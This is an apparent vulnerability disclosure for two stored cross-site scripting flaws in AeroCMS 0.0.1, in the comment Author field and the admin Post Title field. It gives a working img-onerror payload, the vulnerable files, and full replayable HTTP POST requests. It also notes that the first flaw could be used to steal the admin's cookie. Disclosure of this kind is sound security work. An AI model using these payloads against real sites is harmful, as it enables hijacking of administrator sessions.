AeroCMS 0.0.1 Cross Site Scripting

2022.04.08
Credit: D4rkP0w4r
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# AeroCMS-Comment-Stored_XSS-POC # Author: D4rkP0w4r * Note => Don't need register or login account * Description => Stored_XSS at comment box ## Step to Reproduct * Click Read More -> input payload <img/src/onerror=prompt(10)> at Author -> click Submit button # Exploit * Input payload at Author -> click Submit button * When admin login to admin panel and click Comments -> The XSS will trigger * Finally, Success !!!! # Vulnerable Code * view_all_comments.php * Stored xss in comment section * Impact is to get the cookie and execute the js code in the admin panel * Because Comments are displayed in admin panel * post.php * No encoding is implemented when inserting data to database # POC * Injection Point comment_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment_email=bin%40gmail.com&comment_content=hacked&create_comment= * Request POST /AeroCMS/post.php?p_id=36 HTTP/1.1 Host: localhost:8080 Content-Length: 126 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8080/AeroCMS/post.php?p_id=36 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=loqbt1ibs376hge1s415srq441 Connection: close comment_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment_email=bin%40gmail.com&comment_content=hacked&create_comment= POC VIDEO https://drive.google.com/file/d/1GxOyX1JkG0trfdaCLfe06TR6WLIGoUXE/view?usp=sharing ---- # AeroCMS-Add_Posts-Stored_XSS-Poc * Description => Stored_XSS at Post Title ## Step to Reproduct * Login to admin panel -> Posts -> Add Posts -> Post Title -> inject payload <img/src/onerror=prompt(10)> -> The XSS will trigger when clicked Edit Post button ## Vulnerable Code * add_post.php When inserting into the database, the input is not filtered out of html characters * post.php Even when displaying, the entity cannot be properly encoded ------------------------------------------------------------- # POC * Injection Point -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_title" <img/src/onerror=prompt(10)> * Request POST http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------85448121341942511952219062291 Content-Length: 1101 Origin: http://localhost:8080 Connection: keep-alive Referer: http://localhost:8080/AeroCMS/admin/posts.php?source=edit_post&p_id=26 Cookie: Phpstorm-6b6ba5ee=79a50460-3b02-4cde-a5a4-ff6883c16a7b; PHPSESSID=ndh6ks953tmha1ps8cfp4bplf2 Upgrade-Insecure-Requests: 1 -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_title" <img/src/onerror=prompt(10)> -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_category_id" 1 -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_user" admin -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_status" published -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="image"; filename="" Content-Type: application/octet-stream -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_tags" 1 -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="post_content" <p>111</p> -----------------------------85448121341942511952219062291 Content-Disposition: form-data; name="update_post" Edit Post -----------------------------85448121341942511952219062291-- POC VIDEO https://drive.google.com/file/d/1kMGPBLKgefvKZj34QxDlPTxXdcT0kRR_/view?usp=sharing


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